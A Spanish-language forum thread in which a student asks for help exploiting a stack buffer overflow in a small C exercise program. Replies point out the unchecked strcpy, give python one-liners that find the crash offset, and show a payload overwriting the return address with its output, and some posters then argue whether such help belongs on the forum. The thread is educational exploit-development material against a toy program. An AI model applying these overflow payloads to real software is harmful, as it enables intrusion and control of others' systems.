Hola:
¿Alguien me podría ayudar con el siguiente ejercicio?
1.Dado el siguiente código fuente, diseñar un exploit que permita la función "privada":
#include <string.h>
void privada (void) {
printf("Hola función pública\n");
}
int main(int argc, char * argv [])
{
char buffer [40];
if (argc != 2){
printf("Necesito un argumento %d\n",argc);
exit(-1);
}
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return (0);
}
Si te fijas no se verifica que argv[1] apunte a una cadena de menos de 40 caracteres, ni se limita el numero de caracteres que se pueden copiar a buffer. Aqui tendrias que hacer un stack overflow, de forma que puedas dejar EIP apuntando a la funcion privada, o algo asi.
http://www.exploit-db.com/download_pdf/17008
pistas:
Citarcon 51 caracteres no rompe!!.
./prueba `python -c "print 'a'*51"`
con 52 caracteres rompe!!.
./prueba `python -c "print 'a'*52"
Segmentation fault
si con 52 caracteres rompe, intentemos inyectar una direccion de memoria despues de un buffer de 52 caracteres, en mi caso inyecte la direccion de antes del printf que se encuentra dentro del if que verifica si he ingresado un parametro por consola(la direccion antes, para que ingrese la cadena, de lo contrario tendria un error), la idea era que imprimira el buffer ingresado y tambien el mensaje de error diciendo que debia ingresar un parametro :laugh:
Citar./prueba `python -c "print 'a'*52+'\xd6\x84\x04\x08'"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaք
Necesito un argumento -1073743340
siendo \xd6\x84\x04\x08 -> 0x080484d6, que es la direccion de la cadena
"Necesito un argumento %d\n" , ahora lo que debes hacer es buscar la direccion de la funcion a ejecutar y reemplazarla por esa.
tambien, debes leer un tutorial de ASM at&t y un tutorial de buffer overflow.
http://overflowedminds.net/papers.php
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?
Cita de: FerRockrose en 3 Enero 2013, 22:08 PM
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?
No le veo nada de malo a eso, hasta donde el pregunto no veo nada malo...
Tampoco exageremos
Salu2
Cita de: FerRockrose en 3 Enero 2013, 22:08 PM
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?
¿Qué es lo malo en guiar para conocer mejor el funcionamiento y problemas mas comunes de varios programas?